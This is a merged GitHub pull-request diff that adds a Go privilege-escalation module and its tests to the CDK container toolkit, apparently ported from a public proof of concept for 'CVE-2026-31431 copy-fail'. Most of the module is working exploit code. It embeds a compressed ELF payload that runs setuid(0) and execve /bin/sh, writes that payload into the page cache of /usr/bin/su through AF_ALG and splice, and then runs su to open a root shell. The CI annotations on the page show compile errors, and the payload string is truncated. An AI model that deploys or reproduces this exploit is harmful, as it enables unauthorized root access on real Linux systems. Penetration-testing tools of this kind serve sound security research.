Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
262 changes: 262 additions & 0 deletions pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,262 @@
//go:build linux
// +build linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package privilege_escalation

// CVE-2026-31431 "copy-fail" privilege escalation exploit.
// Ported from https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
//
// The exploit abuses a bug in the interaction between AF_ALG AEAD sockets and
// the splice/pipe subsystem. By sending a payload via sendmsg(MSG_MORE) and
// then splicing read-only file pages into the same socket's pipe buffers, the
// kernel writes attacker-controlled data back into those (nominally read-only)
// page-cache pages. The modified pages are never written to disk, making the
// overwrite stealthy.
//
// Usage: ./cdk run copy-fail-cve-2026-31431 [/usr/bin/su]

import (
"bytes"
"compress/zlib"
"encoding/hex"
"fmt"
"log"
"os"
"os/exec"
"syscall"
"unsafe"

"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/exploit/base"
"github.com/cdk-team/CDK/pkg/plugin"
"golang.org/x/sys/unix"
)

// copyFailPayloadHex is a zlib-compressed, position-independent ELF64 binary.
// When injected into a SUID binary's page cache it calls setuid(0) followed by
// execve("/bin/sh", NULL, NULL), yielding a root shell.
const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c[...]

Check failure on line 54 in pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

View workflow job for this annotation

GitHub Actions / Buildable and Runable

newline in string

Check failure on line 54 in pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

View workflow job for this annotation

GitHub Actions / Buildable and Runable

newline in string

// copyFailDecompressPayload decompresses the embedded zlib payload.
func copyFailDecompressPayload() ([]byte, error) {
compressed, err := hex.DecodeString(copyFailPayloadHex)
if err != nil {
return nil, fmt.Errorf("hex decode: %v", err)
}
r, err := zlib.NewReader(bytes.NewReader(compressed))
if err != nil {
return nil, fmt.Errorf("zlib reader: %v", err)
}
defer r.Close()
var buf bytes.Buffer
if _, err = buf.ReadFrom(r); err != nil {
return nil, fmt.Errorf("zlib read: %v", err)
}
return buf.Bytes(), nil
}

// buildAlgCmsg constructs a single ancillary-data (cmsghdr + data) record for
// use as the oob buffer passed to sendmsg. The returned slice is padded to the
// natural alignment expected by the kernel.
func buildAlgCmsg(level, typ int32, data []byte) []byte {
space := syscall.CmsgSpace(len(data))
buf := make([]byte, space)
hdr := (*syscall.Cmsghdr)(unsafe.Pointer(&buf[0]))
hdr.SetLen(syscall.CmsgLen(len(data)))
hdr.Level = level
hdr.Type = typ
copy(buf[syscall.SizeofCmsghdr:], data)
return buf
}

// copyFailWriteChunk uses an AF_ALG AEAD socket together with splice to write
// exactly four bytes of chunk into the page cache of the file identified by fd
// at the given byte offset.
func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
// Create the AF_ALG socket and bind to the AEAD algorithm.
algFd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
if err != nil {
return fmt.Errorf("socket: %v", err)
}
defer unix.Close(algFd)

sa := &unix.SockaddrALG{
Type: "aead",
Name: "authencesn(hmac(sha256),cbc(aes))",
}
if err = unix.Bind(algFd, sa); err != nil {
return fmt.Errorf("bind: %v", err)
}

// ALG_SET_KEY: 8-byte RTA header (rta_len=8, rta_type=1, enc_key_len=16)
// followed by a 16-byte AES-128 key and a 16-byte HMAC key (all zeros).
key := make([]byte, 40)
key[0] = 0x08 // rta_len (little-endian low byte)
key[2] = 0x01 // rta_type = CRYPTO_AUTHENC_KEYA_PARAM
key[7] = 0x10 // enc key length = 16 (big-endian in the RTA payload)
if _, _, errno := unix.Syscall6(
unix.SYS_SETSOCKOPT,
uintptr(algFd),
uintptr(unix.SOL_ALG),
uintptr(unix.ALG_SET_KEY),
uintptr(unsafe.Pointer(&key[0])),
uintptr(len(key)),
0,
); errno != 0 {
return fmt.Errorf("setsockopt ALG_SET_KEY: %v", errno)
}

// ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4).
if _, _, errno := unix.Syscall6(
unix.SYS_SETSOCKOPT,
uintptr(algFd),
uintptr(unix.SOL_ALG),
uintptr(unix.ALG_SET_AEAD_AUTHSIZE),
0,
4,
0,
); errno != 0 {
return fmt.Errorf("setsockopt ALG_SET_AEAD_AUTHSIZE: %v", errno)
}

// Accept returns the operation socket used for actual encrypt/decrypt calls.
opFd, err := unix.Accept(algFd)

Check failure on line 139 in pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

View workflow job for this annotation

GitHub Actions / Buildable and Runable

assignment mismatch: 2 variables but unix.Accept returns 3 values

Check failure on line 139 in pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

View workflow job for this annotation

GitHub Actions / Buildable and Runable

assignment mismatch: 2 variables but unix.Accept returns 3 values
if err != nil {
return fmt.Errorf("accept: %v", err)
}
defer unix.Close(opFd)

// count = offset + 4 — total bytes to splice from the target file.
count := offset + 4

// Build the three control messages that accompany the sendmsg call:
// ALG_SET_OP – operation: DECRYPT (0), 4-byte value
// ALG_SET_IV – IV length field (0x10 = 16) + 19 zero bytes
// ALG_SET_AEAD_ASSOCLEN – associated-data length = 8, 4-byte value
opData := make([]byte, 4) // op = DECRYPT = 0
ivData := make([]byte, 20)
ivData[0] = 0x10 // IV length = 16
assocData := make([]byte, 4)
assocData[0] = 0x08 // assoc length = 8

oob := buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_OP, opData)
oob = append(oob, buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_IV, ivData)...)
oob = append(oob, buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_AEAD_ASSOCLEN, assocData)...)

// sendmsg with MSG_MORE: queue 4 bytes of assoc data ("AAAA") and the
// 4-byte payload chunk. MSG_MORE signals that more data will follow via
// splice, deferring ALG processing until the pipe data arrives.
msgData := append([]byte("AAAA"), chunk...)
if _, err = unix.SendmsgN(opFd, msgData, oob, nil, unix.MSG_MORE); err != nil {
return fmt.Errorf("sendmsg: %v", err)
}

// Create a pipe to bridge the target file and the ALG operation socket.
var pipeFds [2]int
if err = unix.Pipe(pipeFds[:]); err != nil {
return fmt.Errorf("pipe: %v", err)
}
pipeR, pipeW := pipeFds[0], pipeFds[1]
defer unix.Close(pipeR)
defer unix.Close(pipeW)

// splice(targetFd, offset_src=0, pipeW, nil, count, 0)
// Read 'count' bytes from offset 0 of the target file into the pipe,
// linking the file's page-cache pages to the pipe buffers.
var offsetSrc int64 = 0
if _, err = unix.Splice(fd, &offsetSrc, pipeW, nil, count, 0); err != nil {
return fmt.Errorf("splice(file->pipe): %v", err)
}

// splice(pipeR, nil, opFd, nil, count, 0)
// Deliver the pipe data to the ALG socket, triggering the kernel bug that
// overwrites the page-cache pages with the attacker-controlled data.
if _, err = unix.Splice(pipeR, nil, opFd, nil, count, 0); err != nil {
return fmt.Errorf("splice(pipe->alg): %v", err)
}

// Drain any ALG output; errors are intentionally ignored (mirrors the
// original Python: `try: u.recv(8+t) except: 0`).
recvBuf := make([]byte, 8+offset)
unix.Read(opFd, recvBuf) //nolint:errcheck

return nil
}

// CopyFailExploit is the main entry point. It decompresses the embedded
// payload, overwrites the page cache of targetBin four bytes at a time using
// the CVE-2026-31431 technique, then executes the now-modified binary to
// obtain a root shell.
func CopyFailExploit(targetBin string) error {
payload, err := copyFailDecompressPayload()
if err != nil {
return fmt.Errorf("decompress payload: %v", err)
}

fd, err := syscall.Open(targetBin, syscall.O_RDONLY, 0)
if err != nil {
return fmt.Errorf("open %s: %v", targetBin, err)
}
defer syscall.Close(fd)

log.Printf("[+] Injecting %d bytes into page cache of %s\n", len(payload), targetBin)
for i := 0; i+4 <= len(payload); i += 4 {
if err := copyFailWriteChunk(fd, i, payload[i:i+4]); err != nil {
return fmt.Errorf("write chunk at offset %d: %v", i, err)
}
}

log.Println("[+] Page cache overwrite complete. Executing target binary for root shell...")
cmd := exec.Command(targetBin)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
return cmd.Run()
}

// Plugin interface

type copyFailCVE202631431S struct{ base.BaseExploit }

func (p copyFailCVE202631431S) Desc() string {
return "Overwrite SUID binary page cache via CVE-2026-31431 (AF_ALG + splice). " +
"Usage: ./cdk run copy-fail-cve-2026-31431 [/usr/bin/su]"
}

func (p copyFailCVE202631431S) Run() bool {
args := cli.Args["<args>"].([]string)

targetBin := "/usr/bin/su"
if len(args) >= 1 {
targetBin = args[0]
}

log.Printf("[*] CVE-2026-31431 copy-fail exploit targeting %s\n", targetBin)
if err := CopyFailExploit(targetBin); err != nil {
log.Printf("[-] Exploit failed: %v\n", err)
return false
}
return true
}

func init() {
exploit := copyFailCVE202631431S{}
exploit.ExploitType = "privilege-escalation"
plugin.RegisterExploit("copy-fail-cve-2026-31431", exploit)
}
94 changes: 94 additions & 0 deletions pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
//go:build linux
// +build linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package privilege_escalation

import (
"syscall"
"testing"
"unsafe"

"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"golang.org/x/sys/unix"
)

// TestCopyFailDecompressPayload verifies that the embedded zlib blob can be
// decompressed and that it begins with a valid ELF64 little-endian header.
func TestCopyFailDecompressPayload(t *testing.T) {
payload, err := copyFailDecompressPayload()
require.NoError(t, err)
require.NotNil(t, payload)

// Payload must be exactly 160 bytes (40 four-byte chunks).
assert.Equal(t, 160, len(payload), "unexpected payload length")

// Verify ELF magic: 0x7f 'E' 'L' 'F'
assert.Equal(t, []byte{0x7f, 0x45, 0x4c, 0x46}, payload[:4], "ELF magic mismatch")

// ELF class = 2 (ELFCLASS64)
assert.Equal(t, byte(0x02), payload[4], "expected ELF64 class")

// Data encoding = 1 (ELFDATA2LSB, little-endian)
assert.Equal(t, byte(0x01), payload[5], "expected little-endian encoding")
}

// TestBuildAlgCmsg verifies the structure of a control-message record built
// by buildAlgCmsg: correct alignment, header fields, and data placement.
func TestBuildAlgCmsg(t *testing.T) {
data := []byte{0xde, 0xad, 0xbe, 0xef}
cmsg := buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_OP, data)

// The buffer length must be at least header + data.
assert.GreaterOrEqual(t, len(cmsg), syscall.SizeofCmsghdr+len(data),
"cmsg buffer too short")

// The buffer must be aligned to pointer size (8 bytes on 64-bit).
assert.Equal(t, 0, len(cmsg)%8, "cmsg buffer not 8-byte aligned")

// Verify that the header fields were written correctly.
hdr := (*syscall.Cmsghdr)(unsafe.Pointer(&cmsg[0]))
assert.Equal(t, int32(unix.SOL_ALG), hdr.Level, "cmsg level mismatch")
assert.Equal(t, int32(unix.ALG_SET_OP), hdr.Type, "cmsg type mismatch")

// The data bytes must follow the header without corruption.
assert.Equal(t, data, cmsg[syscall.SizeofCmsghdr:syscall.SizeofCmsghdr+len(data)],
"cmsg data mismatch")
}

// TestBuildAlgCmsgEmpty verifies that an empty data slice produces a valid,
// correctly-sized ancillary record.
func TestBuildAlgCmsgEmpty(t *testing.T) {
cmsg := buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_IV, nil)

assert.GreaterOrEqual(t, len(cmsg), syscall.SizeofCmsghdr, "empty cmsg too short")
assert.Equal(t, 0, len(cmsg)%8, "empty cmsg not 8-byte aligned")
}

// TestCopyFailPluginRegistered verifies that the plugin is registered under
// the expected name, has the correct exploit type, and provides a non-empty
// description.
func TestCopyFailPluginRegistered(t *testing.T) {
exploit := copyFailCVE202631431S{}
exploit.ExploitType = "privilege-escalation"

assert.Equal(t, "privilege-escalation", exploit.GetExploitType())
assert.NotEmpty(t, exploit.Desc())
assert.Contains(t, exploit.Desc(), "CVE-2026-31431")
}
Loading